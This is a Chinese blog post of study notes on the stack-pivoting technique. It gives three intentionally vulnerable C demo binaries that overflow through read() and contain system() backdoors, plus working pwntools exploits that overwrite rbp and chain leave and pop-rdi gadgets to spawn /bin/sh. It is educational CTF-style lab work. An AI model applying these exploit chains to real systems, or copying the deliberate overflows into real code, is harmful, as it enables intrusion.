菜鸡的栈迁移学习

原理

栈迁移:将rbp/rsp迁移到其他地方的手段

使用指令:leave、pop rbp

目的:1、可以输入函数搭配使用,实现任意地址写;2、变相增加溢出长度。

level

返回上级函数时,恢复原本栈空间

mov esp , ebp

pop ebp

函数使用后,它所有的局部变量都是通过rbp去寻址的

demo1

#include <stdio.h>

int passwd = 0x0;

int in_test1(){
    char str1[0x48];
    printf("input2:");
    read(0,str1,0x58);
    return 0;
}

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int main(){
    int x;
    init_func();
    in_test1();
    printf("input1:");
    scanf("%ld",&x);
    if(passwd == 0x1234 && x == 0x1234){
        system("/bin/sh\x00");
    }
    return 0;
}

main函数里面就有一个全局变量x,来用scanf来读取,下面是汇编处理的情况,因为是64位程序,所有先从rsi开始(64位调用方式:RDI,RSI,RDX,RCX,R8和 R9),而rsi是rax来赋值的,rax是由【rbp+var_4】来赋值,var_4就是dword ptr-4,就是一个减4

就像这个样子,原本的rbp-4的位置的aaaa,但是我们把rbp用过溢出到别的地方,那么rbp-4的地方的值就发生了变换;从而实现任意地址写

只要可以控制rbp的位置,我们就可以实现来对目标地址的内容进行改写。

前提是所有的局部变量都是通过rbp-x的偏移来寻址

上面的例题只要让passwd和x等于0x1234就可以了,但是问题出现了,x是可以通函数改成0x1234的,但是passwd是全局变量改不了,咋办。

而ida反汇编出来只可以栈的空间大小是刚刚好,做不了溢出,那我们怎么办,先看exp

exp看不懂没关系,挨个给你解释。

passwd_addr就是题目中passwd的地址。

思路:这题思路就是通过溢出把rbp的地址给改成了passwd+4的地方(为什么的+4后面解释),然后通过原本函数存在的leval函数把rbp变成了passwd+4的地方;还记得之前说的吗,scanf取地址取的是rbp-4,那么现在rbp是passwd+4,所有我们输入的地方就变成了passwd的地址,而比较的话一个是直接调用passwd的全局地址比,另一个x通rbp-4来进行比,无论怎么比都是passwd的地址,地址里面就是0x1234

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./a.out')
#elf = EFL('./a.out')
#gdb.attach(p, b'0x')

passwd_addr = 0x4033cc + 0x4
payload = b'a' * 0x50 + p64(passwd_addr)
io.sendafter(b"input2:",payload)

io.sendlineafter(b"input1:",b"4660")

io.interactive()

通过gdb动调发现就是rbp-4

demo2

//gcc -z execstack -fno-stack-protector -no-pie -z norelro -O0 demo2.c

#include <stdio.h>
#include <stdlib.h>
int passwd = 0x0;

int in_test1(){
    char str1[0x48];
    printf("str1 is %p,input2:",&str1);
    read(0,str1,0x60);
    return 0;
}

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int backdor(char* buf){
    system(buf);
}

void tmp_tmp(){
    asm("pop %rdi;ret;");
}

int main(){
    int x;
    init_func();
    in_test1();
    return 0;
}

通过下面具体函数可以发现,可以进行buf溢出,但是溢出长度刚好是到ret返回地址,根本构建不了pop_rdi + /bin/sh + system的长度的shell。所有我们这边利用到了栈空间的地址打印

题目打印出来的地址是rsp的地址,而我们的栈空间不够,所有我们使用leave指令来操作。

首先这个题目没有/bin/sh所有我得自己写一个,而整体流程如下,在原本的leave下我们在返回地址中写入leave就会把rsp再次返回到原来栈-4的地址,而rbp会返回到一个不知道的地址,当然这个地址我们是可控的。

我们主要就是利用leave指令将rsp还原到原来的地方

运行exp的整体思路

from pwn import *

context(log_level='debug',arch='amd64',os='linux')

elf = ELF('./demo2')
io = process('./demo2')
#gdb.attach(io)

io.recvuntil(b'str1 is')
stack = int(io.recv(15),16)
print("stack:"+ hex(stack))

leave = 0x4011dd
pop_rdi = 0x40126f
ret = 0x40101a
backdoor = elf.sym['backdor']
#gdb.attach(io)
payload = flat([0x1,
                pop_rdi,
                stack + 0x28,
                ret,
                backdoor,
                b'/bin/sh\x00'
               ])
payload = payload.ljust(0x50,b'\x41')
payload += flat([stack,leave])
gdb.attach(io)
io.sendafter('input2:',payload)

io.interactive()

调试出来的栈空间一模一样

demo3

这个在demo2中把打印地址给删除了,那我们就没有栈地址了该怎么写呢,如果这题没有开pie保护的话,我们可以把栈迁移到其他rw地方,bss段

//gcc -z execstack -fno-stack-protector -no-pie -z norelro -O0 demo2.c

#include <stdio.h>
#include <stdlib.h>
int passwd = 0x0;

int in_test1(){
    char str1[0x48];
    printf("input2:",&str1);
    read(0,str1,0x60);
    return 0;
}

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int backdor(char* buf){
    system(buf);
}

void tmp_tmp(){
    asm("pop %rdi;ret;");
}

int main(){
    int x;
    init_func();
    in_test1();
    return 0;
}

其实整体思路与demo2是一样的,不同的是我们需要把之前leave还原rsp变成,把rbp给迁移到bss段上,而bss段构建payload也是和之前构建一样的。

我们通过read函数的功能在bass段上写payload,而原栈我们要怎么构建呢,要先填充起来,并且把rbp给ret到bss段上,之前说过read的局部变量是通过rbp来寻址的,那么到最后,read也会到bss段上去读。

在二次输入的时候去布置payload

程序中可读可写的地址是从0x4030了到用x4034000,而程序只用到0x403420

所有我们还有很大的空间,但是还是得离程序地址原地,不能出意外。

0x4011bd,他会从rbp+buf的地方开始赋值

from pwn import *

context(log_level='debug',arch='amd64',os='linux')

io = process('./demo3')
elf = ELF('./demo3')
#gdb.attach(io,'b *0x4011d8')
stack = 0x403c50
leave = 0x4011dd
pop_rdi = 0x40126f
ret = 0x40101a
backdoor = elf.sym['backdor']
read_addr = 0x4011bd

payload = flat([cyclic(0x50),stack,read_addr])

io.sendafter(b'input2:',payload)

payload = flat([
                0x1,
                pop_rdi,
                stack - 0x28,
                ret,
                backdoor,
                b'/bin/sh\x00',
                ])
payload = payload.ljust(0x50,b'\41')
payload += flat([
                stack - 0x50,
                leave
                ])

#gdb.attach(io)
io.send(payload)

#gdb.attach(io)

io.interactive()

总结

        在b站上和小猿的日常生活师傅学的栈迁移,学完后又跟着做了一篇笔记,师傅的所有课讲的真的都很好(小弟膜拜膜拜) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值